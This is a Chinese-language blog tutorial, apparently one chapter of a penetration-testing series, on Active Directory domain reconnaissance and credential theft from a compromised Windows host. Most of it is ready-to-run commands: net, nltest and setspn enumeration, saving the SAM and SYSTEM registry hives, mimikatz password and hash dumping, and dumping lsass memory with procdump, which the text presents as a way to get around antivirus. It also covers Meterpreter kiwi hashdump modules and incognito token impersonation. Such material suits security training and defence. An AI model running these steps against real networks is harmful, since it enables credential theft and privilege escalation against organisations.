接上一章
传送门
域内信息收集的目的是判断域环境、找到域控制器的地址和获取域内其它机器的信息,并利用工具获取到相应的Hash或者密码
DOS命令
nltest
和setspn
命令只能够在桌面环境下的命令行运行(用域账号登录到桌面才能执行),在纯命令行环境下会运行失败,提示“不是内部或外部命令,也不是可运行的程序或批处理文件”或者 “Error loading resource: 0x00003b01”(CS或者meterpreter的shell和其派生的CMD shell,甚至仿冒了登录到机器的域用户的令牌后所派生的shell也不行)- 要执行
net view
相关命令,域网络防火墙要关,Computer Browser,Server,Workstation三项服务需启动
找域
net time /domian
ipconfig /all
以上2条命令可以用来判断是否存在域,域的名字是什么,从下图可以知道这台机器处于一个叫pent.local
的域
通过ping <域控地址>
可以得知pent.local
域控的IP是172.16.10.11
查询信任域
nltest /domain_trusts /all_trusts /v /server:<域控ip>
查询域详细信息
nltest /dsgetdc:<域名> /server:<域控ip>
查询域内各种资源服务器
setspn -T <域名> -Q */* | findstr <过滤字符串/可不加>
查询域管理用户
net group "domain admins" /domain
查询域控制器
net group "domain controllers" /domain
查询域机器
net group "domain computers" /domain
查询域里面的组
net group /domain
查询域用户列表
net user /domain
查看当前域内机器列表
net view
(注意:要执行 net view相关命令,域网络防火墙要关,Computer Browser,Server,Workstation三项服务需启动)
查看开启的共享
net view \\ip
net view \\主机名
查看内网存在多少个域
net view /domain
查看指定域中的机器列表
net view /domain:<域名称>
获取域内所有用户SID
wmic useraccount get Caption,sid
导出域详细信息
csvde -setspn <域名> -f c:\windows\temp\xxx.csv
(Win Server 2008或以上服务器系统的内置工具,安装了AD DS或者Active Directory轻型目录服务服务器角色则此功能可用)
注册表读取密码
reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
reg save HKLM\SAM C:\windows\temp\Sam.hiv
(注意:成功执行此操作需要本地管理员\域管理员权限,如果是SYSTEM\本地普通用户\域普通用户权限,很大可能读取不出内容)
SYSTEM权限下尝试导出
导出后文件大小为0,即是无内容,导出失败
本地普通用户权限下尝试导出
导出后文件大小为0,即是无内容,导出失败
域普通用户权限下尝试导出
导出后文件大小为0,即是无内容,导出失败
域管理员权限下尝试导出
导出后文件大小不为0,即是有内容,导出成功
本地管理员权限下尝试导出
导出后文件大小不为0,即是有内容,导出成功
外部工具
如果DOS命令不起作用或者需要使用到高级功能的时候,一般会选择如mimikatz、nbtscan等工具来获取更多的信息,如需要Dump Password和Hash的时候就需要用到外部工具来辅助获取所需信息
(文末附上本章用到的工具)
mimikatz.exe
读取导出的注册表数据
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
#mimikatz.exe "lsadump::sam /sam:sam.hiv /system:sys.hiv" exit
上一部分博主测试了使用reg save
命令导出保存了注册成表中的信息,用上述命令可以解密其中的内容
内存读取Hash和密码
#分段执行
privilege::debug
sekurlsa::logonpasswords full
#一句执行
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
MSF派生CMD shell下分段执行效果(SYSTEM权限)
CS下一句执行效果(SYSTEM权限)
procdump过杀毒软件对mimikatz读取内存的限制
#procdump获取lsass进程的内存数据
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
# mimikatz运行解密命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
mimikatz源码及其下载
procdump文档及下载
nbtscan.exe
扫描内网存活机器
#如果开启了防火墙无法被扫描到
nbtscan.exe <内网IP段>/<掩码>
下载
dnsdump.exe
#导出域内dns记录
dnsdump.exe -u <域名>\<用户名> -p <用户密码> -r <域控主机名>
此工具用python编写,由于并不是每一台机器都有python,所以要将python打包成exe,但是打包了也不一定能运行,加上没找到原生的exe文件,这部分先作罢了。博主感觉这一部分有点鸡肋
meterpreter::kiwi
load kiwi
mimikatz的升级,用于读取内存中的密码或者NTLM Hash,如需读取域控上的NTLM Hash,则需要拥有相应的域用户权限,SYSTEM权限是不能够读取到域NTLM Hash的
读取明文密码(直接meterpreter中运行即可)
run post/windows/gather/smart_hashdump
读取SAM数据库
lsa_dump_hash
读取Secrets
lsa_dump_secrets
meterpreter::incognito
load incognito
用于枚举\仿冒令牌,需要SYSTEM\域管理员\本地管理员权限
通过用户名枚举可用令牌
list_tokens -u
通过用户分组枚举可用令牌
list_tokens -g
仿冒某个用户
impersonate_token "<令牌>"